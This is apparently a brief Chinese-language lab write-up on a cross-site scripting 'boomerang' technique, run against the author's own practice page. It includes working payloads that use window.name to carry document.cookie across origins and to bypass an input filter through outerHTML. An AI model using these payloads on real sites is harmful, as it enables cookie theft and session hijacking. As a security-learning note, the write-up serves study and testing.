XSS回旋镖测试
虽然同源策略限制了Js对于非同源站点dom的访问
但是我们仍然可以通过window.name来实现跨域传输cookies
这样也就实现了把一个反射XSS封装为存储XSS
这个例子来源于我自己的靶场xss1.php
<iframe
name="a"
src="http://hack1990.com/xss1.php?number=%3Csvg/onload=window.name=document.cookie%3E"></iframe>
<script>
var w=frames['a']; setTimeout("w.location='http://127.0.0.1'",1000); setTimeout("alert(w.window.name)",2000); </script>而且,不仅仅是可以通过这种回旋镖的方式实现漏洞的升格
还同样可以来绕过过滤
比如,我这里过滤了1
通常的方法是放到location.hash里然后去执行
当然也有用outerHTML直接写script的
#<iframe/onload=alert(1)></iframe>
但是这里测试了能直接写入outerHTML而且触发的只有这个,其他的都不行
而且弹出的确实是被插入iframe标签的页面的属性而非iframe框架内页面的
当然,我这里要说的是用window.name绕过
这里由于window.name可以简写为name
那么绕过的payload如下
<iframe name="a" src="about:blank"></iframe> <script> var w=frames['a']; w.window.name="<iframe/onload=alert(1)></iframe>"; w.location="http://hack1990.com/xss1.php?number=%3Csvg/onload=outerHTML=name%3E"; </script>